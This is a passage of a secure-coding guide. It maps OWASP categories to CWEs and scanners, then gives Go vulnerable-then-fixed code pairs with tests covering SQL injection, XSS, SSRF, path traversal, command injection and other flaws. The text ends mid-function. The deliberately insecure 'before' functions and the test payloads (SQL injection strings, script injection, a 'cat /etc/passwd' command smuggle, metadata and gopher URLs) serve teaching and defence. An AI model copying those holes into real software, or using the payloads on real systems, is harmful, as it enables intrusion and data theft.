| Browser console | Failed to find a valid digest in the 'integrity' attribute | SRI hash mismatch | Update the hash only after reviewing the new file |
composer audit | exit code 1 | Advisory, abandoned or malware package matched | Update or document the ignore |
govulncheck | Your code is affected by N vulnerabilities with call stacks | Reachable vulnerable symbol | Upgrade the module |
Category → CWE → detection
| Category | Key CWEs (rank in CWE Top 25 2025) | SAST rule examples | DAST check |
|---|---|---|---|
| A01 | CWE-862 (4), CWE-22 (6), CWE-863 (17), CWE-284 (19), CWE-639 (24), CWE-352 (3) | gosec G304/G305; semgrep path-traversal rules | Two-account replay, ../ fuzzing |
| A03 | CWE-79 (1), CWE-89 (2), CWE-78 (9), CWE-94 (10), CWE-77 (23) | gosec G201/G202/G203/G204, semgrep tainted-sql-string | ZAP active scan SQLi/XSS rules, sqlmap |
| A05 | CWE-16, CWE-611 (XXE) | Config linters, Checkov/tfsec for buckets | ZAP baseline header checks |
| A06 / A03:2025 | CWE-1104, CWE-1395 | govulncheck, composer audit | Version fingerprinting |
| A08 | CWE-502 (15), CWE-829, CWE-494 | semgrep unserialize rules, PHPStan custom rules | Fuzz cookies with serialized payloads |
| A10 / A01:2025 | CWE-918 (22) | gosec G107 and G704 (taint) | Out-of-band callback (Burp Collaborator, ZAP OAST) |
| Upload | CWE-434 (12) | Code review of storage paths | Upload polyglots, SVG, oversized images |
What a defence costs
| Control | Cost per request (estimate, single server) |
|---|---|
| Prepared statement vs concatenated query | No measurable difference for typical OLTP; drivers cache plans |
html/template vs text/template | Microseconds of escaping per page |
CSP nonce generation (16 bytes from crypto/rand) | Under a microsecond |
| CSRF token compare | Constant-time compare of 43 bytes |
| SSRF dialer check | One netip parse and a few prefix checks |
Image DecodeConfig | Reads only the header (tens of bytes) |
govulncheck / composer audit | Seconds in CI, zero at run time |
These are back-of-the-envelope estimates from the operations involved, not benchmarks; the point is that none of these defences is a performance trade-off worth discussing.
Go
Example: vulnerable-then-fixed pairs with tests
All Go code is one stdlib-only module (go 1.24, because os.Root is new in 1.24); every package has a test that shows the attack succeeding against the "before" code and failing against the "after" code.
SQL injection: concatenation versus placeholders and an ORDER BY allowlist:
// Package sqli shows A03 Injection against database/sql: the vulnerable
// versions build SQL text from input; the fixed versions bind values and map
// structural choices (sort column, direction) to an allowlist.
package sqli
import (
"context"
"database/sql"
"fmt"
)
// FindUserBefore concatenates the email into the SQL text. The input becomes
// part of the query's syntax: ' OR '1'='1 returns every row. gosec: G202.
func FindUserBefore(ctx context.Context, db *sql.DB, email string) (*sql.Rows, error) {
q := "SELECT id, email, role FROM users WHERE email = '" + email + "'"
return db.QueryContext(ctx, q)
}
// SearchBefore lets the client pick the ORDER BY clause and formats the search
// term into a LIKE pattern. Both are injection points. gosec: G201.
func SearchBefore(ctx context.Context, db *sql.DB, term, sort string) (*sql.Rows, error) {
q := fmt.Sprintf("SELECT id, title FROM posts WHERE title LIKE '%%%s%%' ORDER BY %s", term, sort)
return db.QueryContext(ctx, q)
}package sqli
import (
"context"
"database/sql"
"errors"
"strings"
)
// ErrBadSort is returned for a sort key that is not on the allowlist.
var ErrBadSort = errors.New("sqli: unknown sort key")
// User is a row of the users table.
type User struct {
ID int64
Email string
Role string
}
// Post is a row of the posts table.
type Post struct {
ID int64
Title string
}
// sortColumns maps a public sort key to application-owned SQL. Placeholders
// cannot carry identifiers or ASC/DESC, so structure comes from this table.
var sortColumns = map[string]string{
"newest": "created_at DESC",
"oldest": "created_at ASC",
"title": "title ASC",
}
// FindUser sends the SQL text and the value separately ($1 is a PostgreSQL
// placeholder; MySQL and SQLite drivers use ?). The driver never splices the
// value into the statement, so a quote in the email is just a character.
func FindUser(ctx context.Context, db *sql.DB, email string) (User, error) {
var u User
err := db.QueryRowContext(ctx,
"SELECT id, email, role FROM users WHERE email = $1", email,
).Scan(&u.ID, &u.Email, &u.Role)
return u, err
}
// Search binds the LIKE pattern, escapes LIKE wildcards so "50%" means a
// literal percent sign, caps the limit and takes ORDER BY from the allowlist.
func Search(ctx context.Context, db *sql.DB, term, sort string, limit int) ([]Post, error) {
order, ok := sortColumns[sort]
if !ok {
return nil, ErrBadSort
}
if limit < 1 || limit > 100 {
limit = 20
}
// The concatenated part is a constant from sortColumns, never input.
q := `SELECT id, title FROM posts WHERE title LIKE $1 ESCAPE '\' ORDER BY ` + order + ` LIMIT $2`
rows, err := db.QueryContext(ctx, q, "%"+EscapeLike(term)+"%", limit)
if err != nil {
return nil, err
}
defer rows.Close()
var out []Post
for rows.Next() {
var p Post
if err := rows.Scan(&p.ID, &p.Title); err != nil {
return nil, err
}
out = append(out, p)
}
return out, rows.Err()
}
// EscapeLike neutralises the LIKE metacharacters. It is not an SQL escaper:
// the result is still passed as a bound parameter.
func EscapeLike(s string) string {
return strings.NewReplacer(`\`, `\\`, `%`, `\%`, `_`, `\_`).Replace(s)
}The test uses a tiny recording database/sql driver to prove the payload travels as a bound argument:
package sqli
import (
"context"
"database/sql"
"database/sql/driver"
"errors"
"io"
"strings"
"sync"
"testing"
)
// recorder is a tiny database/sql driver that records what the application
// sends: the SQL text and, separately, the bound arguments.
type recorder struct {
mu sync.Mutex
query string
args []driver.Value
}
var rec = &recorder{}
func init() { sql.Register("recorder", drv{}) }
type drv struct{}
func (drv) Open(string) (driver.Conn, error) { return conn{}, nil }
type conn struct{}
func (conn) Prepare(string) (driver.Stmt, error) { return nil, errors.New("unused") }
func (conn) Close() error { return nil }
func (conn) Begin() (driver.Tx, error) { return nil, errors.New("unused") }
func (conn) QueryContext(_ context.Context, q string, args []driver.NamedValue) (driver.Rows, error) {
rec.mu.Lock()
defer rec.mu.Unlock()
rec.query, rec.args = q, nil
for _, a := range args {
rec.args = append(rec.args, a.Value)
}
if strings.Contains(q, "FROM posts") {
return &rows{cols: []string{"id", "title"}, data: [][]driver.Value{{int64(7), "hello"}}}, nil
}
return &rows{cols: []string{"id", "email", "role"}, data: [][]driver.Value{{int64(1), "ana@example.com", "user"}}}, nil
}
type rows struct {
cols []string
data [][]driver.Value
i int
}
func (r *rows) Columns() []string { return r.cols }
func (r *rows) Close() error { return nil }
func (r *rows) Next(dest []driver.Value) error {
if r.i >= len(r.data) {
return io.EOF
}
copy(dest, r.data[r.i])
r.i++
return nil
}
func openDB(t *testing.T) *sql.DB {
t.Helper()
db, err := sql.Open("recorder", "")
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { db.Close() })
return db
}
const payload = "x' OR '1'='1"
func TestConcatenationChangesTheQuery(t *testing.T) {
db := openDB(t)
rows, err := FindUserBefore(context.Background(), db, payload)
if err != nil {
t.Fatal(err)
}
rows.Close()
if !strings.Contains(rec.query, "OR '1'='1'") || len(rec.args) != 0 {
t.Fatalf("expected the payload inside the SQL text, got %q args=%v", rec.query, rec.args)
}
}
func TestPlaceholderKeepsDataOutOfTheQuery(t *testing.T) {
db := openDB(t)
if _, err := FindUser(context.Background(), db, payload); err != nil {
t.Fatal(err)
}
if rec.query != "SELECT id, email, role FROM users WHERE email = $1" {
t.Fatalf("query text changed: %q", rec.query)
}
if len(rec.args) != 1 || rec.args[0] != payload {
t.Fatalf("payload must travel as a bound argument, got %v", rec.args)
}
}
func TestSortAllowlist(t *testing.T) {
db := openDB(t)
rec.query = ""
_, err := Search(context.Background(), db, "go", "created_at; DROP TABLE posts", 10)
if !errors.Is(err, ErrBadSort) || rec.query != "" {
t.Fatalf("unknown sort must be rejected before any SQL is sent: err=%v query=%q", err, rec.query)
}
posts, err := Search(context.Background(), db, "50%_off", "newest", 1000)
if err != nil || len(posts) != 1 {
t.Fatalf("search failed: %v %v", posts, err)
}
if rec.args[0] != `%50\%\_off%` || rec.args[1] != int64(20) {
t.Fatalf("pattern or limit not normalised: %v", rec.args)
}
if !strings.HasSuffix(rec.query, "ORDER BY created_at DESC LIMIT $2") {
t.Fatalf("order clause not from allowlist: %q", rec.query)
}
}XSS: the same template under text/template and html/template:
// Package xss renders the same profile page twice: with text/template, which
// copies data verbatim, and with html/template, which escapes each value for
// the context it lands in (element body, attribute, URL, JavaScript).
package xss
import (
"io"
texttemplate "text/template"
)
// Profile is user-controlled data shown on a public page.
type Profile struct {
Name string
Bio string
Website string
Nonce string // per-response CSP nonce from the headers middleware
}
const page = `<h1>{{.Name}}</h1>
<p title="{{.Bio}}">{{.Bio}}</p>
<a href="{{.Website}}">website</a>
<script nonce="{{.Nonce}}">const user = {{.Name}};</script>
`
// renderBefore uses text/template: a stored bio of <script>...</script>
// becomes executable markup for every visitor (stored XSS).
var renderBefore = texttemplate.Must(texttemplate.New("profile").Parse(page))
// RenderBefore writes the page without any output encoding.
func RenderBefore(w io.Writer, p Profile) error { return renderBefore.Execute(w, p) }package xss
import (
"html/template"
"io"
)
// render uses html/template: the same template text, contextual escaping.
// - element body and attribute: < > " ' & become entities
// - href: a javascript: URL is replaced with #ZgotmplZ
// - inside <script>: the value is emitted as a quoted JS string
var render = template.Must(template.New("profile").Parse(page))
// Render writes the page with context-aware escaping. Never convert user
// input to template.HTML, template.JS or template.URL: those types switch the
// escaping off (gosec G203).
func Render(w io.Writer, p Profile) error { return render.Execute(w, p) }package xss
import (
"strings"
"testing"
)
var evil = Profile{
Name: `</script><script>alert(1)</script>`,
Bio: `" onmouseover="alert(2)`,
Website: `javascript:alert(3)`,
Nonce: "r4nd0m",
}
func TestTextTemplateIsInjectable(t *testing.T) {
var b strings.Builder
if err := RenderBefore(&b, evil); err != nil {
t.Fatal(err)
}
out := b.String()
for _, want := range []string{`<script>alert(1)</script>`, `onmouseover="alert(2)`, `href="javascript:alert(3)"`} {
if !strings.Contains(out, want) {
t.Fatalf("expected raw payload %q in output:\n%s", want, out)
}
}
}
func TestHTMLTemplateEscapesPerContext(t *testing.T) {
var b strings.Builder
if err := Render(&b, evil); err != nil {
t.Fatal(err)
}
out := b.String()
if strings.Contains(out, "<script>alert(1)") || strings.Contains(out, `" onmouseover=`) {
t.Fatalf("payload survived:\n%s", out)
}
for _, want := range []string{
`</script><script>alert(1)</script>`, // body
`title="" onmouseover="alert(2)"`, // attribute
`href="#ZgotmplZ"`, // unsafe URL scheme
`nonce="r4nd0m"`,
"const user = \"\\" + "u003c/script", // JS string context: \u003c, not <
} {
if !strings.Contains(out, want) {
t.Fatalf("missing %q in:\n%s", want, out)
}
}
}SSRF: naive fetch, then URL checks plus an IP check inside the dialer:
// Package ssrf fetches a user-supplied URL (webhook test, link preview,
// "import from URL") without letting the caller reach internal addresses.
package ssrf
import (
"io"
"net/http"
)
// FetchBefore trusts the URL: http://169.254.169.254/latest/meta-data/ returns
// cloud credentials, http://localhost:6379 talks to Redis, and a redirect from
// an allowed host lands anywhere.
func FetchBefore(raw string) ([]byte, error) {
resp, err := http.Get(raw) // gosec G107: URL provided as taint input
if err != nil {
return nil, err
}
defer resp.Body.Close()
return io.ReadAll(resp.Body)
}package ssrf
import (
"context"
"errors"
"fmt"
"io"
"net"
"net/http"
"net/netip"
"net/url"
"strings"
"syscall"
"time"
)
// ErrBlocked means the destination failed the policy.
var ErrBlocked = errors.New("ssrf: destination not allowed")
// Policy describes where outbound requests may go.
type Policy struct {
// AllowedHosts, when non-empty, is an exact-match host allowlist (lower case).
AllowedHosts map[string]bool
// AllowedPorts defaults to 443 only.
AllowedPorts map[string]bool
// MaxBody caps the response size (default 1 MiB).
MaxBody int64
}
// Ranges that IsPrivate/IsLoopback/IsLinkLocal do not cover but that must
// never be reached from a URL fetcher.
var blocked = []netip.Prefix{
netip.MustParsePrefix("0.0.0.0/8"),
netip.MustParsePrefix("100.64.0.0/10"), // carrier-grade NAT
netip.MustParsePrefix("192.0.0.0/24"),
netip.MustParsePrefix("192.0.2.0/24"), // documentation
netip.MustParsePrefix("198.18.0.0/15"),
netip.MustParsePrefix("198.51.100.0/24"),
netip.MustParsePrefix("203.0.113.0/24"),
netip.MustParsePrefix("240.0.0.0/4"),
netip.MustParsePrefix("64:ff9b::/96"), // NAT64 can map to 169.254.169.254
netip.MustParsePrefix("2001:db8::/32"),
}
// IsPublic reports whether ip is a globally routable unicast address.
// IPv4-mapped IPv6 (::ffff:169.254.169.254) is unmapped first.
func IsPublic(ip netip.Addr) bool {
ip = ip.Unmap()
if !ip.IsValid() || ip.IsUnspecified() || ip.IsLoopback() || ip.IsPrivate() ||
ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() ||
ip.IsInterfaceLocalMulticast() || ip.IsMulticast() {
return false // 169.254.0.0/16 (metadata) and fe80::/10 are link-local
}
for _, p := range blocked {
if p.Contains(ip) {
return false
}
}
return true
}
func (p Policy) portOK(port string) bool {
if len(p.AllowedPorts) == 0 {
return port == "443"
}
return p.AllowedPorts[port]
}
// CheckURL is the cheap first gate: scheme, credentials, host allowlist, port.
// It cannot stop DNS rebinding on its own; the dialer check below does.
func (p Policy) CheckURL(raw string) (*url.URL, error) {
u, err := url.Parse(raw)
if err != nil {
return nil, fmt.Errorf("%w: %v", ErrBlocked, err)
}
if u.Scheme != "https" || u.User != nil || u.Hostname() == "" {
return nil, fmt.Errorf("%w: scheme, userinfo or host", ErrBlocked)
}
host := strings.ToLower(strings.TrimSuffix(u.Hostname(), "."))
if len(p.AllowedHosts) > 0 && !p.AllowedHosts[host] {
return nil, fmt.Errorf("%w: host %q not on allowlist", ErrBlocked, host)
}
port := u.Port()
if port == "" {
port = "443"
}
if !p.portOK(port) {
return nil, fmt.Errorf("%w: port %s", ErrBlocked, port)
}
return u, nil
}
// control runs after DNS resolution, on the exact IP the socket is about to
// connect to. A rebinding DNS answer (public at check time, 127.0.0.1 at
// connect time) is caught here because there is no second lookup.
func (p Policy) control(_, address string, _ syscall.RawConn) error {
host, port, err := net.SplitHostPort(address)
if err != nil {
return fmt.Errorf("%w: %v", ErrBlocked, err)
}
ip, err := netip.ParseAddr(host)
if err != nil || !IsPublic(ip) || !p.portOK(port) {
return fmt.Errorf("%w: %s", ErrBlocked, address)
}
return nil
}
func (p Policy) checkRedirect(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return fmt.Errorf("%w: too many redirects", ErrBlocked)
}
_, err := p.CheckURL(req.URL.String())
return err
}
// Client returns an http.Client whose every connection, including redirects,
// passes the policy. Proxy is nil on purpose: with a proxy the dial target is
// the proxy, and the policy would check the wrong address.
func (p Policy) Client() *http.Client {
d := &net.Dialer{Timeout: 3 * time.Second, Control: p.control}
return &http.Client{
Timeout: 10 * time.Second,
CheckRedirect: p.checkRedirect,
Transport: &http.Transport{
Proxy: nil,
DialContext: d.DialContext,
TLSHandshakeTimeout: 3 * time.Second,
ResponseHeaderTimeout: 5 * time.Second,
MaxResponseHeaderBytes: 64 << 10,
ForceAttemptHTTP2: true,
},
}
}
// Fetch validates the URL, fetches it through the guarded client and caps the
// body. Errors are generic towards the caller: do not echo internal responses.
func (p Policy) Fetch(ctx context.Context, c *http.Client, raw string) ([]byte, error) {
u, err := p.CheckURL(raw)
if err != nil {
return nil, err
}
req, err := http.NewRequestWithContext(ctx, http.MethodGet, u.String(), nil)
if err != nil {
return nil, err
}
resp, err := c.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
limit := p.MaxBody
if limit <= 0 {
limit = 1 << 20
}
body, err := io.ReadAll(io.LimitReader(resp.Body, limit+1))
if err != nil {
return nil, err
}
if int64(len(body)) > limit {
return nil, fmt.Errorf("ssrf: response larger than %d bytes", limit)
}
return body, nil
}package ssrf
import (
"context"
"errors"
"net/http"
"net/http/httptest"
"net/netip"
"net/url"
"testing"
)
func TestInternalAddressesAreNotPublic(t *testing.T) {
for _, s := range []string{
"127.0.0.1", "10.0.0.5", "172.16.3.4", "192.168.1.1", "169.254.169.254",
"169.254.170.2", "100.64.0.1", "0.0.0.0", "::1", "fe80::1", "fd00:ec2::254",
"::ffff:169.254.169.254", "64:ff9b::a9fe:a9fe", "192.0.2.10", "2001:db8::1",
} {
if IsPublic(netip.MustParseAddr(s)) {
t.Errorf("%s must be blocked", s)
}
}
}
func TestCheckURL(t *testing.T) {
p := Policy{AllowedHosts: map[string]bool{"api.partner.example": true}}
for _, raw := range []string{
"http://api.partner.example/", // plain HTTP
"https://user:pw@api.partner.example/", // userinfo tricks
"https://evil.example/", // not on allowlist
"https://api.partner.example:8443/", // port
"file:///etc/passwd",
"gopher://127.0.0.1:6379/_FLUSHALL",
} {
if _, err := p.CheckURL(raw); !errors.Is(err, ErrBlocked) {
t.Errorf("%s: want ErrBlocked, got %v", raw, err)
}
}
if _, err := p.CheckURL("https://API.partner.example./v1"); err != nil {
t.Errorf("allowed host rejected: %v", err)
}
}
func TestDialerBlocksLoopbackEvenWhenURLLooksFine(t *testing.T) {
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write([]byte("internal secret"))
}))
defer srv.Close()
u, _ := url.Parse(srv.URL) // https://127.0.0.1:port
p := Policy{AllowedPorts: map[string]bool{u.Port(): true}}
_, err := p.Fetch(context.Background(), p.Client(), srv.URL)
if !errors.Is(err, ErrBlocked) {
t.Fatalf("loopback must be refused at connect time, got %v", err)
}
}
func TestRedirectIsRechecked(t *testing.T) {
p := Policy{}
req := httptest.NewRequest(http.MethodGet, "http://169.254.169.254/latest/meta-data/", nil)
if err := p.checkRedirect(req, []*http.Request{req}); !errors.Is(err, ErrBlocked) {
t.Fatalf("redirect to metadata must be blocked, got %v", err)
}
}Mass assignment: decoding into the model versus an input DTO:
// Package massassign shows mass assignment (autobinding): decoding a request
// body straight into the persistence struct lets a client set fields the form
// never offered, such as role or balance.
package massassign
import (
"encoding/json"
"errors"
"net/http"
"strings"
)
// User is the stored record. Role and EmailVerified are server-owned.
type User struct {
ID int64 `json:"id"`
Name string `json:"name"`
Bio string `json:"bio"`
Role string `json:"role"`
EmailVerified bool `json:"email_verified"`
}
// UpdateBefore decodes into the whole User: {"role":"admin"} is accepted.
func UpdateBefore(u *User, r *http.Request) error {
return json.NewDecoder(r.Body).Decode(u)
}
// ProfileInput is the allowlist: only fields a user may change, as pointers so
// "absent" and "empty" differ.
type ProfileInput struct {
Name *string `json:"name"`
Bio *string `json:"bio"`
}
// ErrInvalid is returned for unknown fields or bad values.
var ErrInvalid = errors.New("massassign: invalid input")
// Update decodes into the input type, rejects unknown fields (so a client
// probing for "role" gets a 400, not a silent ignore) and copies explicitly.
func Update(u *User, w http.ResponseWriter, r *http.Request) error {
dec := json.NewDecoder(http.MaxBytesReader(w, r.Body, 16<<10))
dec.DisallowUnknownFields()
var in ProfileInput
if err := dec.Decode(&in); err != nil {
return errors.Join(ErrInvalid, err)
}
if in.Name != nil {
n := strings.TrimSpace(*in.Name)
if n == "" || len(n) > 100 {
return ErrInvalid
}
u.Name = n
}
if in.Bio != nil {
if len(*in.Bio) > 1000 {
return ErrInvalid
}
u.Bio = *in.Bio
}
return nil
}Path traversal: filepath.Join versus os.Root:
// Package pathtraversal serves files by name from one directory.
package pathtraversal
import (
"io"
"net/http"
"os"
"path/filepath"
)
// DownloadBefore joins the query parameter onto the base directory.
// name=../config/.env walks out of it (CWE-22). filepath.Join cleans the
// path but happily resolves the "..". gosec: G304.
func DownloadBefore(base string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
f, err := os.Open(filepath.Join(base, r.URL.Query().Get("name")))
if err != nil {
http.NotFound(w, r)
return
}
defer f.Close()
_, _ = io.Copy(w, f)
}
}
// Download opens the directory once as an os.Root (Go 1.24+). Every Open is
// resolved inside it: "..", absolute paths and symlinks that point outside
// fail with "path escapes from parent".
func Download(root *os.Root) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
if name == "" || !filepath.IsLocal(name) { // cheap early reject
http.Error(w, "bad name", http.StatusBadRequest)
return
}
f, err := root.Open(name)
if err != nil {
http.NotFound(w, r)
return
}
defer f.Close()
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", "attachment")
w.Header().Set("X-Content-Type-Options", "nosniff")
_, _ = io.Copy(w, f)
}
}CSRF middleware (Fetch Metadata first, synchronizer token fallback):
// Package csrf is a two-layer CSRF guard in the shape Laravel 13 uses:
// Fetch Metadata (Sec-Fetch-Site) first, a synchronizer token as fallback.
// Go 1.25+ also ships http.CrossOriginProtection for the first layer.
package csrf
import (
"crypto/rand"
"crypto/subtle"
"encoding/base64"
"net/http"
)
// Sessions looks up the synchronizer token stored server-side for a session.
type Sessions interface {
CSRFToken(sessionID string) (string, bool)
}
// Guard protects state-changing requests.
type Guard struct {
Sessions Sessions
TrustedOrigins map[string]bool // e.g. "https://app.example.com"
CookieName string // session cookie, e.g. "__Host-sid"
}
// NewToken returns 32 random bytes, base64url: one per session, rotated on login.
func NewToken() string {
b := make([]byte, 32)
_, _ = rand.Read(b)
return base64.RawURLEncoding.EncodeToString(b)
}
func safeMethod(m string) bool {
return m == http.MethodGet || m == http.MethodHead || m == http.MethodOptions
}
// Wrap rejects cross-site writes with 403 and token mismatches with 419,
// the status Laravel uses for "Page Expired".
func (g Guard) Wrap(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if safeMethod(r.Method) {
next.ServeHTTP(w, r) // GET must never change state
return
}
switch r.Header.Get("Sec-Fetch-Site") {
case "same-origin":
next.ServeHTTP(w, r)
return
case "cross-site", "same-site":
if !g.TrustedOrigins[r.Header.Get("Origin")] {
http.Error(w, "csrf: cross-origin request", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
return
}
// No Fetch Metadata (old browser, plain HTTP, non-browser client):
// fall back to the synchronizer token.
c, err := r.Cookie(g.CookieName)
if err != nil {
http.Error(w, "csrf: no session", 419)
return
}
want, ok := g.Sessions.CSRFToken(c.Value)
got := r.Header.Get("X-CSRF-Token")
if got == "" {
got = r.PostFormValue("_token")
}
if !ok || subtle.ConstantTimeCompare([]byte(got), []byte(want)) != 1 {
http.Error(w, "csrf: token mismatch", 419)
return
}
next.ServeHTTP(w, r)
})
}Security headers with a per-request CSP nonce:
// Package headers sets the response security headers (A05) and a per-request
// CSP nonce for a strict, nonce-based Content Security Policy.
package headers
import (
"context"
"crypto/rand"
"encoding/base64"
"net/http"
)
type nonceKey struct{}
// Nonce returns the CSP nonce for this request, for <script nonce="...">.
func Nonce(ctx context.Context) string {
n, _ := ctx.Value(nonceKey{}).(string)
return n
}
func newNonce() string {
b := make([]byte, 16) // 128 bits, fresh per response
_, _ = rand.Read(b)
return base64.StdEncoding.EncodeToString(b)
}
// Secure adds the headers and stores the nonce in the request context.
func Secure(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
n := newNonce()
h := w.Header()
h.Set("Content-Security-Policy",
"script-src 'nonce-"+n+"' 'strict-dynamic'; object-src 'none'; base-uri 'none'; "+
"frame-ancestors 'none'; form-action 'self'; require-trusted-types-for 'script'")
h.Set("Strict-Transport-Security", "max-age=63072000; includeSubDomains; preload")
h.Set("X-Content-Type-Options", "nosniff")
h.Set("Referrer-Policy", "strict-origin-when-cross-origin")
h.Set("Permissions-Policy", "camera=(), microphone=(), geolocation=(), payment=()")
h.Set("X-Frame-Options", "DENY") // for browsers without frame-ancestors
h.Set("Cross-Origin-Opener-Policy", "same-origin")
h.Del("Server")
h.Del("X-Powered-By")
next.ServeHTTP(w, r.WithContext(context.WithValue(r.Context(), nonceKey{}, n)))
})
}Open redirect:
// Package redirect closes open redirects: ?next= may only name a local path.
package redirect
import (
"net/http"
"net/url"
"strings"
)
// LoginBefore redirects to whatever ?next= says: /login?next=https://evil.example
// sends a freshly logged-in user to a phishing page under your domain's name.
func LoginBefore(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, r.URL.Query().Get("next"), http.StatusSeeOther)
}
// SafeNext returns next if it is a same-site path, otherwise fallback.
// Rejected: absolute URLs, scheme-relative //evil.example, backslash tricks
// (/\evil.example, which browsers normalise to //), and control characters.
func SafeNext(next, fallback string) string {
if next == "" || !strings.HasPrefix(next, "/") || strings.HasPrefix(next, "//") ||
strings.ContainsAny(next, "\\\r\n\t") {
return fallback
}
u, err := url.Parse(next)
if err != nil || u.IsAbs() || u.Host != "" {
return fallback
}
return next
}
// Login redirects only to local paths.
func Login(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, SafeNext(r.URL.Query().Get("next"), "/dashboard"), http.StatusSeeOther)
}Command injection:
// Package cmdinject runs an external program with user input. The fix is to
// avoid the shell, validate the value, and end option parsing with "--".
package cmdinject
import (
"context"
"errors"
"os/exec"
"regexp"
)
// PingBefore hands the input to /bin/sh: host = "example.com; cat /etc/passwd"
// runs a second command. gosec: G204.
func PingBefore(ctx context.Context, host string) *exec.Cmd {
return exec.CommandContext(ctx, "sh", "-c", "ping -c 1 "+host)
}
// ErrBadHost is returned for anything that is not a plain hostname.
var ErrBadHost = errors.New("cmdinject: invalid host")
var hostname = regexp.MustCompile(`^[A-Za-z0-9]([A-Za-z0-9-]{0,61}[A-Za-z0-9])?(\.[A-Za-z0-9]([A-Za-z0-9-]{0,61}[A-Za-z0-9])?)*$`)
// Ping passes the host as one argv element (no shell, so ; | $() and
// backticks are plain characters) after an allowlist check. The regexp also
// refuses a leading "-", which would be argument injection (-oProxyCommand=).
func Ping(ctx context.Context, host string) (*exec.Cmd, error) {
if len(host) > 253 || !hostname.MatchString(host) {
return nil, ErrBadHost
}
return exec.CommandContext(ctx, "ping", "-c", "1", "--", host), nil
}Double spend (TOCTOU) and its atomic, idempotent fix:
// Package wallet shows a business-logic race (TOCTOU, double spend): two
// withdrawals both pass the balance check before either one writes.
package wallet
import (
"errors"
"sync"
)
// ErrInsufficient is returned when the balance does not cover the amount.
var ErrInsufficient = errors.New("wallet: insufficient funds")
// Before checks, then acts, with nothing tying the two steps together. In SQL
// this is SELECT balance ...; if ok: UPDATE ... SET balance = :computed.
type Before struct {
mu sync.Mutex
balance int64
// between runs between the check and the write; tests use it to widen
// the race window the way a slow fraud check or network call would.
between func()
}
// NewBefore returns a vulnerable wallet.
func NewBefore(balance int64, between func()) *Before {
return &Before{balance: balance, between: between}
}
func (w *Before) read() int64 { w.mu.Lock(); defer w.mu.Unlock(); return w.balance }
// Withdraw is check-then-act: the check and the write are separate steps.
func (w *Before) Withdraw(amount int64) error {
bal := w.read() // time of check
if bal < amount {
return ErrInsufficient
}
if w.between != nil {
w.between()
}
w.mu.Lock()
w.balance = bal - amount // time of use: writes a stale computation
w.mu.Unlock()
return nil
}
// Balance returns the current balance.
func (w *Before) Balance() int64 { return w.read() }
// After makes the check part of the write, the in-memory twin of
//
// UPDATE accounts SET balance = balance - $1 WHERE id = $2 AND balance >= $1
//
// and records idempotency keys so a retried request is not applied twice.
type After struct {
mu sync.Mutex
balance int64
seen map[string]error
}
// NewAfter returns a safe wallet.
func NewAfter(balance int64) *After { return &After{balance: balance, seen: map[string]error{}} }
// Withdraw is atomic per wallet and idempotent per key.
func (w *After) Withdraw(idempotencyKey string, amount int64) error {
w.mu.Lock()
defer w.mu.Unlock()
if err, ok := w.seen[idempotencyKey]; ok {
return err // same answer as the first attempt, no second debit
}
var err error
if w.balance >= amount {
w.balance -= amount
} else {
err = ErrInsufficient
}
w.seen[idempotencyKey] = err
return err
}
// Balance returns the current balance.
func (w *After) Balance() int64 { w.mu.Lock(); defer w.mu.Unlock(); return w.balance }package wallet
import (
"fmt"
"sync"
"testing"
)
func TestBeforeDoubleSpends(t *testing.T) {
var barrier sync.WaitGroup
barrier.Add(2)
w := NewBefore(100, func() { barrier.Done(); barrier.Wait() }) // both checked
var wg sync.WaitGroup
var mu sync.Mutex
ok := 0
for i := 0; i < 2; i++ {
wg.Add(1)
go func() {
defer wg.Done()
if w.Withdraw(100) == nil {
mu.Lock()
ok++
mu.Unlock()
}
}()
}
wg.Wait()
if ok != 2 {
t.Fatalf("expected both withdrawals to pass the stale check, got %d", ok)
}
t.Logf("paid out 200 from a balance of 100; balance now %d", w.Balance())
}
func TestAfterIsAtomicAndIdempotent(t *testing.T) {
w := NewAfter(100)
var wg sync.WaitGroup
var mu sync.Mutex
ok := 0
for i := 0; i < 50; i++ {
wg.Add(1)
go func(i int) {
defer wg.Done()
if w.Withdraw(fmt.Sprintf("req-%d", i), 10) == nil {
mu.Lock()
ok++
mu.Unlock()
}
}(i)
}
wg.Wait()
if ok != 10 || w.Balance() != 0 {
t.Fatalf("want 10 successes and balance 0, got %d and %d", ok, w.Balance())
}
w2 := NewAfter(100)
_ = w2.Withdraw("same-key", 60)
_ = w2.Withdraw("same-key", 60) // client retry after a timeout
if w2.Balance() != 40 {
t.Fatalf("retry debited twice: %d", w2.Balance())
}
}File upload validation (sniffing, pixel budget, random name, os.Root):
// Package upload validates an image upload: size cap, content sniffing (not
// the client's Content-Type or extension), a pixel budget against image bombs,
// a server-generated name, and storage outside the web root.
package upload
import (
"bytes"
"crypto/rand"
"encoding/hex"
"errors"
"image"
_ "image/jpeg" // register decoders for DecodeConfig
_ "image/png"
"io"
"net/http"
"os"
)
// Errors returned by Validate.
var (
ErrTooLarge = errors.New("upload: file too large")
ErrType = errors.New("upload: type not allowed")
ErrImageBomb = errors.New("upload: image dimensions over budget")
ErrUnreadable = errors.New("upload: not a decodable image")
)
// allowed maps the sniffed type to the extension we store. SVG is absent on
// purpose: it is XML that can carry script.
var allowed = map[string]string{"image/png": ".png", "image/jpeg": ".jpg"}
// Limits for one upload.
type Limits struct {
MaxBytes int64 // e.g. 5 MiB
MaxPixels int // e.g. 25 megapixels
}
// Validate reads at most MaxBytes+1, sniffs the first 512 bytes, then reads
// only the image header (DecodeConfig) to check the declared width x height
// before anything decodes the full bitmap.
func Validate(r io.Reader, l Limits) (data []byte, ext string, err error) {
data, err = io.ReadAll(io.LimitReader(r, l.MaxBytes+1))
if err != nil {
